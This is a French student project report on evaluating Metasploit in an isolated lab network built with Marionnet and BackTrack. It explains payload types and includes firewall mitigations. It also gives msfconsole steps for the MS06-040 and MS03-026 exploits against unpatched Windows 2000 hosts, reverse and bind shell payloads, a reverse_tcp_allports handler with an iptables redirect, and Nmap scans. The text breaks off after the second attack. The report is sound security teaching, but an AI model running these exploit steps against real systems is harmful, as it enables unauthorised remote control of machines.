Prise en main, configuration et évaluation des

Transcription

Rapport de projet
Prise en main, configuration et évaluation des performances d’un
Framework logiciel de gestion de la sécurité d’un SSI dans le cadre
d’un réseau d'entreprise privé
BIKOUO Aubin
FAVIER Florian
IENAC07L-TR
Encadrants : N.Larrieu, F. Garcia
1
Sommaire
I.
Introduction
II.
Cahier des charges
III.
Présentation des outils
1) Marionnet
2) BackTrack
3) Metasploit
IV.
Définition et implémentation d’une topologie
1) Mise en œuvre de la topologie réseau
2) Mise en place de la prise externe de Marionnet
V.
Description du Framework Metasploit
1) Composition
2) Utilisation
VI.
Exécution de différentes attaques
1) Découverte des hôtes sur le réseau
2) Machines cibles Windows
3) Machines cibles Linux
VII.
Conclusions et Perspectives
VIII.
Glossaire
IX.
Bibliographie
X.
Annexes
2
I.
Introduction
La sécurité est devenue primordiale dans le monde d’aujourd’hui. A l’heure des
transactions bancaires en ligne, de l’envoi massif d’emails confidentiels, du commerce en
ligne et de nombreuses autres utilisations à risque, la sécurisation des échanges et des
infrastructures réseau devient plus que jamais nécessaire. Ainsi une forte réactivité est
nécessaire, dans le but de mettre à jour les logiciels vulnérables ou les bases virales par
exemple, et donc afin de réduire les menaces.
Metasploit est un projet qui a vu le jour dans les années 2003. Ce Framework a été
conçu afin d’aider les professionnels de la sécurité réseau à mieux protéger leur architecture.
En effet étant composé d’une batterie d’attaques, il permet de réaliser des tests de pénétration
sur un réseau ou une machine distante. Evidemment, cet outil de sécurité étant open-source, il
est aussi bien utilisable par des personnes bienveillantes afin de réaliser des audits de sécurité
que par des personnes malveillantes.
L’objectif de ce projet est donc de prendre en main et d’évaluer les performances de ce
Framework, afin d’élargir ses perspectives d’utilisation pour un des laboratoires de recherche
de l’ENAC, le LEOPART (Laboratoire d'Etude et d'OPtimisation des Architectures de
Réseaux de Télécommunication).
3
II.
Cahier des charges
L’objet de ce projet est d’étudier les performances du Framework logiciel Metasploit.
Pour cela nous allons mettre en place un réseau local constitué de machines Windows
physiques, et de machines Linux émulées grâce à la plate-forme Marionnet. Un « bridge »
devra être configuré avant le lancement de Marionnet permettant de relier ces deux réseaux,
afin de n’en faire qu’un seul hétérogène.
Cette topologie réalisée, une deuxième phase du projet consistera en la mise en œuvre,
la réalisation et l'analyse de différentes attaques sur diverses machines cibles.
Les machines utilisées pour réaliser les différentes attaques vers les machines cibles
utilisent la distribution Linux BackTrack.
On peut donc considérer que l’on est dans le cas d’une « ingénierie sociale », où un
utilisateur malveillant aurait réussi à obtenir les codes d’accès d’une personne autorisée au
sein du réseau d’une entreprise.
Afin de pouvoir mener à bien ce projet au cours des deux mois impartis, les systèmes
d'exploitation utilisés dans les machines cibles seront des versions de base n'ayant subis
aucune mise à jour, cela permettra ainsi d’exploiter plus facilement les nombreuses
possibilités d’attaque du Framework Metasploit.
L’étude permettra en outre de mettre en évidence les différentes failles de sécurité des
différents systèmes audités.
4
III.
Présentation des outils
Afin de réaliser les différentes tâches qui nous ont été assignées, nous avons à notre
disposition plusieurs outils, en effet nous utiliserons la plate-forme logicielle Marionnet pour
émuler une partie de notre topologie réseau et le Framework Metasploit sous la distribution
Linux BackTrack pour exploiter les vulnérabilités des systèmes.
1) Marionnet
Marionnet a été crée en avril 2005 par Jean-Vincent Loddo afin de mieux illustrer son
cours de réseau. Ce logiciel a ensuite été amélioré et doté d’une interface graphique. Il a ainsi
été crée dans un but pédagogique, et continue de l’être étant donné qu’il est très utilisé dans
les universités françaises, et même dans d’autres pays.
Marionnet est un réseau de laboratoire virtuel. Il permet à l’aide d’une seule machine
physique d’émuler tout un réseau Ethernet, c'est-à dire qu’il peut émuler différentes machines
sous différents OS, ainsi que des hubs, Switch, routeurs et câbles, et les faire interagir entre
eux.
Par rapport à une solution matérielle, c’est donc un outil puissant permettant
d’économiser temps et argent. De plus, la métrologie du réseau ainsi crée est beaucoup plus
facile à mesurer, et son management allégé.
5
2) BackTrack
BackTrack est une distribution GNU/Linux dont l’objectif est de regrouper un
ensemble d’outils nécessaires à des tests de sécurité sur un réseau. C’est un outil complet qui
vise à aborder tous les problèmes de sécurité moderne.
La première version de BackTrack est sortie début 2006, aujourd’hui la version 4.0
Pre-Release est disponible depuis 6 mois. Tout au long du projet nous utiliserons la version
3.0 finale, existant depuis juin 2008 et dont la stabilité est reconnue, dans les machines
émulées, et de la version 4.0 Pre-Release sur une machine physique en LiveCD, afin de
disposer de la plus récente version de Metasploit.
Cette distribution comprend environ 300 outils d’audit de sécurité, permettant par
exemple de découvrir le réseau (Genlist), de sniffer ce réseau (Wireshark), de craquer une
connexion Wifi (air-crack), d’écouter les ports (Nmap) ou de pénétrer une machine distante
(Metasploit).
A noter que Tenable, qui est le développeur de l’excellent outil d’audit réseau Nessus,
n’a pas autorisé son intégration dans BackTrack, nous ne pourrons donc pas l’utiliser.
6
3) Metasploit
Le Framework Metasploit est une batterie d’attaques permettant de tester la
vulnérabilité d’une machine distante. Aussi, grâce à sa forte modularité, il permet de
développer de nouveaux exploits (les attaques exploitant une vulnérabilité) ou payloads (le
code permettant de prendre en main la machine cible), mais une explication détaillée de ces
deux termes sera donnée par la suite.
Ce projet a débuté dans les années 2003-2004, afin d’aider les professionnels de la
sécurité à améliorer leur installation.
Metasploit est, tout comme Nessus ou Cain, un outil disponible gratuitement et qui,
étant donné sa notoriété croissante, concurrence de plus en plus les outils commerciaux
d’audit comme Acunetix ou Core Impact.
Attention tout de même à ne pas confondre Framework (Metasploit) et scanner de
vulnérabilité (Nessus). Un scanner de vulnérabilité tente de déterminer si une cible est
vulnérable alors qu’un Framework pénètre la cible et confirme la vulnérabilité.
Initialement développé en langage de programmation Perl, le Framework a été
complètement réécrit pour la version 3.0 en langage Ruby pour plusieurs raisons, notamment
pour sa simplicité de codage et sa migration plus facile vers les systèmes Windows.
Concernant la version du Framework utilisé, nous utiliserons la version 3.2 du
Framework qui est disponible dans BackTrack 3.0 dans les machines émulées, et la version
3.3 de BackTrack 4.0 sur une machine physique en LiveCD.
7
IV.
Définition et implémentation d’une topologie
1) Mise en œuvre de la topologie réseau
Afin de disposer d’un maximum d’OS possible, et étant donné le fait que les OS
Windows ne sont pas émulables par Marionnet, notre topologie sera donc constituée d’une
partie physique et d’une partie émulée.
Partie du réseau émulée par Marionnet
Nous implémentons dans cette partie émulée deux routeurs fonctionnant avec Quagga
(Debian), afin de pouvoir créer 3 sous-réseaux distincts.
E1 représente la prise externe vers le réseau physique, mais pour autant, la machine
m1 fait partie du sous-réseau 0 avec les machines physiques.
Les connexions machine-hub et hub-routeur sont faites avec des câbles droits, alors
que la connexion H1-Prise externe doit se faire avec un câble croisé.
Ensuite on associe à chaque machine une @IP et on lui donne les routes à connaître.
Etant donné que l’on a la maîtrise entière du réseau, un routage statique suffit, d’autant que le
nombre d’hôtes n’est pas très élevé.
8
La configuration pour la machine m3 par exemple est donc :
ifconfig eth0 192.168.1.2/24
et sa table de routage (voir schéma ci-dessous) :
Adresse
Masque
192.168.1.0
192.168.0.0
192.168.2.0
/24
/24
/24
GW
*
192.168.1.254 (interface 2 du routeur R1)
192.168.1.253 (interface 0 du routeur R2)
9
La mise en place de plusieurs machines sous BackTrack 3.0 a pour but de pouvoir
tester la même attaque à plusieurs endroits du réseau, et d’observer les éventuels
changements dus à la traversée de routeurs entre la machine attaquante et cible.
2) Mise en place de la prise externe
Une fois le réseau des machines virtuelles défini, il faut le faire communiquer avec le
réseau physique, pour cela nous allons utiliser la prise externe comme nous l'avons mentionné
précédemment. Pour ce faire il faut créer et configurer un pont (bridge) sur la machine
physique sur laquelle est lancée la topologie virtuelle Marionnet; par défaut le nom du pont
attendu par Marionnet est br0.
L'installation de la prise externe passe par les étapes suivantes :
1. Le daemon Marionnet doit être lancé
2. Après lancement du daemon Marionnet les commandes suivantes doivent être
exécutées :
- brctl addbr br0 (Création du pont br0)
- configurer la carte réseau de la machine physique (Dans notre cas nous attribuons
l'adresse 192.168.0.4/24 à l'interface eth0)
- brctl addif br0 eth0 (Ajout du pont à la carte réseau)
- ifconfig eth0 0.0.0.0 promisc up
- ifconfig br0 192.168.0.4 up (Configuration du pont avec l'adresse de l'interface
correspondante)
- Optionnel : route add default gw 192.168.0.254 (définir le cas échéant la route par
défaut)
3. Lancer le programme Marionnet
Une fois ces commandes réalisées, le pont est fonctionnel. En reliant l'élément prise
externe à un Hub via un câble croisé le réseau des machines virtuelles connectées à ce hub
(configurées avec la même adresse de réseau que la machine physique) peuvent joindre les
autres machines physiques sur le réseau de la machine locale.
Pour vérifier le bon fonctionnement du pont les commandes suivantes peuvent être utiles :
 brctl show (vérifier que le pont a bien été crée et associé à la bonne interface)
 ifconfig (vérifier l'adresse du pont et vérifier que l'interface associée au pont n'a pas
d'adresse IP assignée)
 ping de la machine locale vers une machine du réseau physique (vérifier que la machine
reste bien connectée sur le réseau physique)
10
V.
Description du Framework Metasploit
1) Composition
Tout d’abord définissons quelques termes :
- Exploit : C’est l’attaque mise en œuvre qui va exploiter une vulnérabilité du
système cible
- Payload : C’est le code qui s'exécutera après s'être introduit dans la machine cible,
par exemple pour avoir accès à un Shell distant ou un serveur VNC
La très forte modularité de Metasploit vient du fait qu’une payload ne fonctionne pas
seulement qu’avec un seul exploit, et vice-versa.
Ainsi pour une même attaque on peut utiliser une payload permettant de rediriger le
flux d’exécution de l’application vulnérable et donc d’avoir accès à un Shell distant, ou
d’avoir un déport d’affichage de la machine attaquée.
1.1 Exploits
Il est possible de créer plusieurs exploits permettant d’utiliser une même vulnérabilité,
ou à l’inverse, d’utiliser un même exploit afin d’exploiter plusieurs vulnérabilités similaires.
Le processus afin de créer un exploit est le suivant : on cible tout d’abord l’OS et/ou le
logiciel cible, puis on cherche une vulnérabilité connue sur des sites web tels que
www.osvdb.org (Open Source Vulnerability DataBase, qui est un site qui recense toutes les
vulnérabilités découvertes à ce jour), à moins que l’on en ait trouvé une soi-même.
Il suffit ensuite de rédiger l’attaque en prenant pour modèle d’autres exploits
Metasploit. Cette attaque contient l’exploitation même de la vulnérabilité (très souvent un
buffer overflow), puis une procédure permettant de chercher assez d’espace disponible afin
d’ensuite pouvoir uploader et y placer notre payload.
A noter qu’il est nécessaire de connaître le fonctionnement du logiciel cible, qui
souvent modifie les données avant de les traiter. Ainsi notre payload risque d’être modifiée
avant son exécution et donc ne plus fonctionner correctement.
Les exploits peuvent se classer de plusieurs façons. Cette classification peut se faire
suivant leur impact sur la cible, c'est-à-dire si elle provoque une perte de confidentialité, une
perte d’intégrité, une perte de disponibilité ou autre.
On peut aussi les classer par type d’attaque : elle peut porter sur la gestion de
l’authentification, provoquer un déni de service, être de nature cryptographique, malconfigurer la cible, dévoiler des informations de la cible, ou autre.
Dans le Framework Metasploit, ces exploits sont tout d’abord classées par OS cible.
Les plus nombreuses concernent les attaques sur les systèmes Windows (250/330). Le reste
concerne les systèmes Unix globalement, alors que certaines sont spécifiques à Linux ou
Solaris. Il y en a très peu spécifiques à l’OS MAC.
Ensuite, au sein d’un même OS, ces exploits sont classés par type de protocole utilisé
par l’application vulnérable. Les plus utilisés sont : ftp, http, imap, misc, smb, ssh, tftp,
dcerpc…
Enfin, au sein d’un même protocole utilisé, les noms de différents exploits sont listés
et diffèrent selon l’OS ciblé, sa version et ses vulnérabilités.
11
1.2 Payloads
Une payload (charge utile) est une suite d'instructions qui est envoyée via un exploit
pour rediriger le flux d’exécution d'une application faillible afin d'obtenir une invite de
commande après compromission. Il existe plusieurs type de code que l’on va insérer une fois
la faille ouverte. Les deux principales sortes de payload sont :
- Le bind shellcode, qui consiste à exécuter sur la machine distante l’équivalent d’un
serveur : un port (TCP ou UDP) se met alors en écoute de connexions entrantes et
redirige les flux vers un shell distant.
- Un reverse shellcode permet d’obtenir un comportement de client standard sur la
machine exploitée, c'est-à-dire qu’elle établira une connexion sur une machine
définie (par exemple celle de l’attaquant) et lancera alors un shell que le «serveur»
pourra contrôler. Les reverse shellcodes permettent parfois d’outrepasser des
règles de filtrage sur des firewalls.
Une sorte de shell amélioré est la payload meterpreter (reverse_meterpreter) où en plus
de pouvoir disposer d’un shell afin de naviguer, exécuter ou lister du contenu sur la machine
cible, le meterpreter permet d’uploader ou de downloader n’importe quel fichier entre la
machine attaquante et cible. On peut ainsi facilement récupérer tout le contenu d’un
ordinateur, ou uploader un exécutable particulier afin de le lancer sur la machine cible.
Il permet aussi, en gérant des canaux de communication, de détourner l’entrée ou la sortie
standard de la machine cible. Enfin il est aussi possible de gérer tous les processus à distance
de la machine cible, les lister et aussi les arrêter…
Les payloads précédentes ne donnent pas d’aperçu de l’écran de la cible. Avec une
payload du type vncinject (reflective_vncinject), un déport d’affichage est possible jusqu’à
l’écran de la machine attaquante, avec maîtrise de la souris et clavier. Ceci est rendu possible
à l’aide de la création d’un serveur VNC sur la machine cible ou attaquante, et ce quelque soit
la faille exploitée.
Ce déport d’affichage peut se faire furtivement, c'est-à-dire sans que la cible ne
s’aperçoive de rien si on désactive le shell de courtoisie (celui-ci est visible sur la capture
d’écran de la partie VI.2.4). Dans les deux cas, lors de la fin de la session engagée par
l’attaquant, le protocole ayant servi à créer la première connexion et à uploader la payload va
prévenir la cible de son interruption anormale, et la cible pourra donc savoir qu’elle a été
attaquée.
12
Exemple d’utilisation du serveur VNC :
Les paramètres à rentrer afin de réaliser une attaque de ce type sont les classiques
RHOST, LHOST, RPORT et LPORT, et en plus il faut désigner le VNCHOST et le
VNCPORT qui sont l’hôte et le numéro de port sur lequel va être émulé ce serveur VNC.
Sur le schéma ci-dessous, le serveur est émulé sur l’attaquant (donc avec un vncinject)
mais c’est la cible qui va initier la connexion (reverse_tcp par exemple).
Les principales étapes de cette attaque se déroulent de la façon suivante :
1. Connexion de la machine attaquante sur le RPORT de la machine Cible (bind_tcp)
2. L’attaquant upload la librairie VNC vers la machine Cible (VNC injection)
3. Le code de l’exploit est pris en charge par la cible (TFTP dans l’exemple), et entre dans la
pile des process
4. L’exploit agit sur la faille, et très souvent entraîne un débordement de la pile, ce qui conduit
au détournement du flux d’éxécution vers le shellcode (uploadé dans la payload)
5. Exécution du shellcode, ouverture d’une connexion vers l’attaquant (reverse_tcp).
6. Le flux VNC venant de la cible est encapsulé dans un flux TCP et arrive par le port
LPORT. Le serveur VNC simulé prend en entrée ce flux TCP et le met à disposition sur le
port VNCPORT.
7. Si la case Auto est cochée, le Framework lance un vncviewer sur ce port.
La cible peut donc nous envoyer en continu son flux vidéo.
Enfin il existe quelques autres payloads consistant au download ou l’upload d’un code
puis de son exécution sur la machine cible (download_exec / upload_exec), à l’ajout d’un
utilisateur (adduser) ou à l’injection d’une librairie dynamique (dllinject).
13
1.3 Mise en évidence de l’avantage du Reverse_tcp
Comme expliqué précédemment, la payload bind_tcp fait agir la machine cible comme
un serveur et c’est donc la machine attaquante qui initie la connexion, ce qui est donc
facilement filtrable par un firewall. La configuration d’un firewall comme ci-dessous va nous
permettre de filtrer cette connexion bind_tcp tout en étant vulnérable à un reverse_tcp, c'est-àdire une connexion initiée par la payload à partir de la machine cible, et ainsi comprendre les
mécanismes et avantages de cette payload.
Filtrage avec IPTABLES :
Pour limiter les communications entre les machines de sous-réseaux différents, on peut donc
dans un premier temps penser à filtrer le trafic au niveau des routeurs et ainsi réduire la
vulnérabilité des machines. Le port 445 utilisé notamment par le protocole Smb est un port
très sensible à des vulnérabilités, nous allons donc interdire toutes communications en
provenance d'un autre sous-réseau et à destination de ce port, la commande IPTABLES
équivalente est :
Iptables -A FORWARD -s 0.0.0.0/0 -d 192.168.0.0/24 -p tcp --dport 445 -j REJECT
Cependant cette méthode a l'inconvénient d'altérer le fonctionnement des services utilisant le
port 445. Pour y remédier, nous allons affiner notre filtrage, en utilisant les capacités de
mémoire du serveur quagga (ESTABLISHED).
On change tout d’abord la politique de l'iptable (on bloque toutes les communications):
iptables -P FORWARD DROP
On autorise ensuite seulement les connexions vers les ports connus, via le protocole tcp afin
que le fonctionnement normal des machines ne puisse pas être altéré :
Iptables -A FORWARD -s 0.0.0.0/0 -d 0.0.0.0/0 -p tcp --dport 1:1024 -j ACCEPT
Iptables -A FORWARD -s 0.0.0.0/0 -d 0.0.0.0/0 -p tcp -m state --state
ESTABLISHED -j ACCEPT
On autorise aussi la machine cible à pouvoir ouvrir une connexion vers l'extérieur sur un port
non « well-known » :
Iptables -A FORWARD -s 192.168.0.0/24 -d 0.0.0.0/0 -p tcp --dport 1024:65535 -m
state --state NEW,ESTABLISHED -j ACCEPT
Et enfin on autorise une machine extérieure au réseau 0 à pouvoir répondre à une connexion
venant de ce réseau 0 :
Iptables -A FORWARD -s 0.0.0.0/0 -d 192.168.0.0/24 -p tcp --dport 1024:65535 -m
state --state ESTABLISHED -j ACCEPT
14
Comme prévu l’exploit avec le bind_tcp échoue au moment où il initie la connexion,
mais il s’est déjà connecté auparavant au port 445 afin de prendre parti de la vulnérabilité et
d’uploader la payload. L’attaquant ne peut donc plus prendre la main sur la machine cible,
mais pourra tout de même uploader un exécutable par exemple dont le but sera de faire des
dégâts sur la machine cible.
On peut donc en conclure que le filtrage par firewall n’est pas très efficace, car si un port est
ouvert, c’est qu’une application l’utilise et que donc le firewall doit laisser passer ce flux. En
revanche il peut tout de même compliquer légèrement l’attaque.
1.4 Principe de fonctionnement d’un payload particulier
Payload explicité: windows/*/reverse_tcp_allports
Ce nouveau payload est inséré dans la version 3.3 du Framework Metasploit. Ce
dernier permet de jouer avec les règles du firewall afin d'abuser de règles trop laxistes. En
effet, les règles des firewalls au sein des entreprises sont au départ minutieusement étudiées
de sorte qu'aucun flux non désiré ne puisse transiter à travers celui-ci. Les utilisateurs ne
peuvent donc pas accéder à des ressources qui ne leur sont pas destinées, ou utiliser des
logiciels non désirés. Cependant, au fil du temps, les impératifs métiers ou les environnements
de test nécessitent l'ouverture en urgence de certains flux, la plupart du temps assez laxistes,
pour que tout soit fonctionnel le plus vite possible.
Ce payload permet justement de tirer profit de ces règles oubliées ou mal conçues, afin
d'obtenir un moyen de contrôle sur une machine présentant une faille de sécurité. Lorsqu'un
attaquant compromet une machine, deux possibilités s'offrent à lui pour s'y connecter et
interagir avec elle. Tout d'abord le bind_shell. Cette méthode ouvre un port sur la machine
compromise pour que l'attaquant se connecte sur celui-ci. Si la machine vulnérable est
derrière un pare-feu ou un routeur, le port désiré ne sera donc pas forcément accessible par
l'attaquant. Notons également que les payloads de Metasploit utilisent le port 4444 par défaut.
Ce port n'étant pas un port fréquemment utilisé et a de grandes chances d'être bloqué par un
firewall situé entre la machine de l'attaquant et la machine vulnérable.
15
Dans ce cas-là, il est préférable d'utiliser le reverse_shell. La technique consiste à
forcer la machine compromise à se connecter sur la machine de l'attaquant plutôt que
l'inverse. Cette méthode permet dans de nombreux cas de contourner le problème du routeur,
voire du Firewall. Cependant, que faire si le firewall bloque également ce flux sortant ?
Un code malicieux a été exécuté sur la machine compromise, mais il n'est pas possible
d'obtenir une interaction avec celle-ci : le résultat des commandes soumises par l'attaquant ne
peut pas être visualisé.
L'attaquant peut évidemment tenter d'utiliser les ports les plus communs tels que le 21,
22, 23, 53, 80, 110, 143, 443... mais passera sûrement à côté d'une règle autorisant un port
exotique. C'est là qu'intervient le nouveau payload windows/*/reverse_tcp_allports. Il permet
de découvrir de façon automatique les ports non bloqués en sortie par le firewall.
Il va forcer la machine compromise à se connecter sur le port 4444 de la machine de
l'attaquant. Si ce port n'est pas joignable, il va alors tenter de joindre successivement et de
façon exhaustive la machine de l'attaquant en partant du port numéro 1 jusqu'au 65535.
Pour cela, l'attaquant va tout d'abord mettre en écoute l'intégralité des ports d'une
machine qu'il contrôle, afin de recevoir la session provenant de la machine compromise.
msf> use exploit/multi/handler
msf (exploit/handler) > set PAYLOAD windows/meterpreter/reverse_tcp_allports
msf (exploit/handler) > set LHOST ip.ip.ip.ip
msf (exploit/handler) > set LPORT 4444
msf (exploit/handler) > exploit -j
Évidemment, la machine de l'attaquant ne peut pas mettre l'ensemble de ses ports en
écoute, c'est pourquoi il est nécessaire d'utiliser une seconde machine dédiée à cette tache. La
règle iptables suivante permet par exemple de rediriger l'ensemble des flux arrivant sur la
machine dédiée, vers le port 4444 de la machine de l'attaquant.
# iptables -I INPUT -p tcp -m state --state NEW -d ip1.ip1.ip1.ip1 -j DNAT --to
ip2.ip2.ip2.ip2:4444
16
ip1.ip1.ip1.ip1 est l'adresse IP de la machine dédiée à la réception des ports non bloqués par le
firewall, tandis que ip2.ip2.ip2.ip2 est l'adresse IP de la machine de l'attaquant.
Cette méthode est particulièrement intéressante, mais comporte toutefois un
inconvénient de taille: sa lenteur. En effet, afin de détecter un port bloqué, plus d'une minute
peut être nécessaire. Ainsi, il faut parfois attendre plusieurs heures avant de découvrir un port
autorisé.
2) Utilisation
L’utilisation de Metasploit est des plus simples et se déroule de la façon suivante :
– Choisir et configurer l’exploit.
– Choix de la cible.
– Choisir et configurer le payload.
– Exécution de l’exploit.
Suivant le payload choisi on a ensuite accès à un Shell de commande sur la machine
cible, à un meterpreter, à une vision graphique de la cible, à la récupération de mots de passe
ou autres.
17
VI.
Exécution de différentes attaques
1) Découverte des hôtes sur le réseau
Avant de pouvoir procéder à l'exécution d'un exploit, il faut d'abord connaître les hôtes
qui sont sur le réseau associé, pour réaliser cette tâche nous utiliserons sur notre machine
attaquante l'outil Nmap avec la commande : Nmap -sL <adresse réseau cible>.
On peut aussi utiliser la commande : Nmap -sP <adresse réseau cible>. Bien que cette
commande soit plus intrusive que celle précédente (envoie de ping vers les machines du
réseau), elle a l'avantage de lister les machines actives du réseau contrairement à la précédente
dont le seul but est de fournir la liste de chaque IP avec son nom d'hôte.
Une fois les machines découvertes, on peut procéder au scan des ports de celles-ci en
utilisant aussi l'outil Nmap. Le scan d'une machine via Nmap nous permet de connaître l'état
des différents ports sur la machine. Nmap nous renvoie plusieurs états du port :
- Ouvert (open) : Une application accepte des connexions TCP ou des paquets UDP sur ce
port. Trouver de tels ports est souvent le but principal du scan de ports. Dans le domaine de la
sécurité, chaque port ouvert est un boulevard pour une attaque. Les ports ouverts sont
également intéressants pour des scans autres que ceux orientés vers la sécurité car ils
indiquent les services disponibles sur le réseau.
- Fermé (closed) : Un port fermé est accessible (il reçoit et répond aux paquets émis par
Nmap), mais il n'y a pas d'application en écoute. Ceci peut s'avérer utile pour montrer qu'un
hôte est actif (découverte d'hôtes ou scan ping), ou pour la détection de l'OS. Comme un port
fermé est accessible, il peut être intéressant de le scanner de nouveau plus tard au cas où il
s'ouvrirait.
- Filtré (filtered) : Nmap ne peut pas toujours déterminer si un port est ouvert car les
dispositifs de filtrage des paquets empêchent les paquets de tests (probes) d'atteindre leur port
cible. Le dispositif de filtrage peut être un pare-feu dédié, des règles de routeurs filtrants ou
un pare-feu logiciel. Ces ports ennuient les attaquants car ils ne fournissent que très peu
d'informations.
- Non-filtré (unfiltered) : L’état non-filtré signifie qu'un port est accessible, mais que Nmap
est incapable de déterminer s'il est ouvert ou fermé.
La commande est utilisée ici avec les options :
<-sS> : Scan TCP SYN, Il peut être exécuté rapidement et scanner des milliers de ports par
seconde sur un réseau rapide lorsqu'il n'est pas entravé par des pare-feux. Le scan SYN est
relativement discret et furtif, vu qu'il ne termine jamais les connexions TCP. Il permet de plus
une différentiation fiable entre les états ouvert, fermé et filtré.
<-sU> : Permet d'activer le scan UDP.
18
<-F> : qui autorise le scan des ports connus Ceci est bien plus rapide que de scanner les 65
535 ports d'un hôte
<-sV> : Active la détection de version, connaître avec précision le numéro de version aide
considérablement à déterminer à quels exploits un serveur est vulnérable. La détection de
version vous permet d'obtenir une telle information.
-O Détermine l'OS de la machine à partir d'empreintes connues
Le résultat du scan sur les trois réseaux nous concernant se fait donc avec la commande :
Nmap-sS -sU -F -sV -O 192.168.0.0/24 192.168.1.0/24 192.168.2.0/24
et est visible en Annexe A.
2) Machines cibles Windows
2.1 Prise en main d’une machine sous Windows 2K
L'exploit illustré dans les lignes suivantes utilise une vulnérabilité de saturation de
mémoire tampon dans le service serveur.
Le précédent scan des ports de la machine nous montre l'ouverture du port 445
(Protocole SMB), celui-ci sera donc exploité pour réaliser une attaque de type prise en main
de la machine. L'exploit utilisé pour réaliser cette attaque est :
exploit/windows/smb/ms06_040_netapi
Les serveurs SMB sont en écoute sur le port 139 ou 445. SMB (pour Server Message
Block) est le protocole utilisé pour interfacer les partages et les authentifications
MICROSOFT. Les clients et serveurs SMB sous Linux et d'autres OS libres utilisent SAMBA
pour traiter les échanges avec ce protocole. SMB possède deux modes d'authentification : le
mode "share", dans lequel il associe un mot de passe à une ressource (espace disque,
imprimantes ...), et le mode "user", où il associe un mot de passe à un utilisateur. Cet
utilisateur peut être aussi propriétaire d'une ressource. SMB utilise aussi deux modes pour
l'envoi de ces mots de passe : encryptés ou non. C'est le serveur qui donne l'information au
client s'il supporte l'encryptage ou non. (Un exemple d'échange est disponible en Annexe B).
Si un pirate parvient à détecter un établissement de session SMB avant cet échange, il
peut très bien détourner le flux entre les deux et demander au client d'envoyer son mot de
passe en clair et le recevoir.
Pour réaliser cette attaque nous pouvons utiliser plusieurs payloads disponibles,
cependant notre but étant d'obtenir un shell de la machine cible sur la machine attaquante
nous utiliserons le module “shell”. Nous réalisons l'attaque en donnant l'initiative à la machine
distante d'établir la connexion (reverse_tcp), le payload correspondant est donc :
19
payload windows/shell/reverse_tcp
Les options de l'exploit sont donc ainsi :
RHOST 192.168.0.2
RPORT 445
LHOST 192.168.1.2
LPORT 4444 (Port par défaut sous Metasploit)
Chronologie des échanges
1. Etablissement de la connexion entre la machine attaquante (port > 1024) et la machine cible
(port : 445)
2. Communication suivant le protocole SMB (server message block),
la machine cible jouant le rôle de serveur et la machine attaquante étant client
Pour arriver à s'authentifier auprès du serveur sans les paramètres adéquats, la machine
attaquante utilise les failles du protocole NTLMSSP.
NTLML est un protocole d'authentification de Windows. Pour valider un compte, le plus
simple est de le comparer à un mot de passe stocké localement. Il est préférable de ne pas
20
stocker les mots de passe en clair, mais sous une forme non réversible, par exemple un
condensat (hash). Le service NTLMSSP (NTLM Security Support Provider), qui fait partie de
la DLL ntlmssps.dll, assure la gestion des requêtes d'authentification pour NTLM. Le
processus se charge de dispatcher les requêtes des clients en fonction du numéro de la
fonctionnalité demandée. Ensuite, le service se sert de ce numéro comme indice d'un tableau
dans lequel se trouvent les fonctions à appeler.
Le protocole définit trois types de message :
 NTLMSSP_NEGOTIATE (Client vers Serveur) : démarre une négociation
 NTLMSSP_CHALLENGE (Serveur vers Client) : permet au serveur d’envoyer son
défi
 NTLMSSP_AUTH (Client vers Serveur) : permet au client d’envoyer ses réponses
(champ NTLM)
Le mot de passe n’est pas nécessaire pour répondre aux défis : il suffit de connaître
uniquement le condensat. Il est ainsi possible de s’authentifier à distance uniquement en
connaissant le condensat NTLM. Ici la machine attaquante.
Cependant, l'indice fourni par l'utilisateur n'est pas correctement vérifié, car des indices
négatifs sont autorisés.
Ainsi, un attaquant local peut :
- préparer une zone mémoire contenant du code illicite
- formuler une requête, sur le service NTLMSSP, ayant un numéro négatif
Le service utilisera alors cet indice, pointera sur la zone mémoire et appellera le code
illicite préparé par l'attaquant. Ce code sera alors exécuté avec les privilèges SYSTEM.
Dans cette première requête, la machine attaquante émet une requête de demande de
connexion sur la machine distante, celle-ci est rejetée, ceci étant dû aux paramètres erronés
fournis par la machine attaquante,
21
Ici une seconde tentative d'authentification de la machine attaquante est cependant
réussie, ceci peut être dû éventuellement au fait que le service serveur ne traite pas
correctement les requêtes SMB spécialement conçues, Dès lors que le client obtient
l'authentification sur la machine cible, il peut ainsi réaliser des lectures et des écritures de
données dans des emplacements mémoire choisis sur la machine cible. La machine attaquante
au travers des requêtes de type « Write andX Request » réalise des écritures de données sur la
machine cible en incrémentant énormément le pointeur de données, ce qui a pour effet de
créer une saturation de mémoire tampon dans le service serveur, la machine attaquante peut
donc exécuter un code illicite sur la machine cible ce qui lui donne l'accès à celle-ci.
3. Communication avec le protocole DCERPC
DCE/RPC (Distributed Computing Environment / Remote Procedure Calls) est une procédure
système qui permet à un logiciel de fonctionner sur plusieurs ordinateurs à la fois, et de rendre cette
procédure transparente comme si il ne fonctionnait que sur un seul processeur. Le protocole DCERPC
fonctionne une couche au-dessus du protocole SMB.
Une fois que l'attaquant a la main mise sur la machine cible, une session DCERPC est initiée,
c’est via celle-ci que la machine attaquante peut exécuter des fonctions sur la machine cible.
4. Connexion TCP entre la cible (Port Nsstp 1036) et l'attaquant (port Krb524 4444)
La machine cible initie ensuite une connexion TCP avec la machine attaquante
(reverse_tcp) entre les ports 1036 et 4444 (port par défaut Metasploit). C'est via cette
connexion que seront transmises les commandes à exécuter sur la machine cible, ainsi que le
résultat des commandes exécutées.
22
Solution possible à cette vulnérabilité :
● Désactiver le protocole SMB
Une solution possible pour remédier à cette faille de sécurité consiste à désactiver le
protocole SMB.
Les serveurs déployés dans le réseau de périmètre doivent avoir tous les protocoles
inutilisés désactivés, y compris le protocole SMB (Server Message Block). Les serveurs Web
et les serveurs DNS (Domain Name System) ne nécessitent pas SMB. Ce protocole doit être
désactivé pour limiter le risque lié à l'énumération des utilisateurs.
(Voir procédure en Annexe C).
●
Mise à jour de sécurité Microsoft
Pour corriger cette vulnérabilité, Microsoft a édité une mise à jour de sécurité le 12 septembre
2006 sous le nom Microsoft MS06_040. Pour plus de détails un lien correspondant à cette
mise à jour est disponible dans la bibliographie.
2.2. Deuxième prise en main de Windows 2K
Cette fois-ci, on utilise une autre faille, et une payload qui met en scène l’attaquant se
connectant directement à la cible. Cette attaque est rendue possible grâce au port 135 de
Windows 2K qui est ouvert.
Les commandes entrées au cours de cette attaque sont :
use exploit/windows/dcerpc/ms03_026_dcom
set payload windows/shell/bind_tcp
set RHOST 192.168.0.2
exploit
sessions –i 1
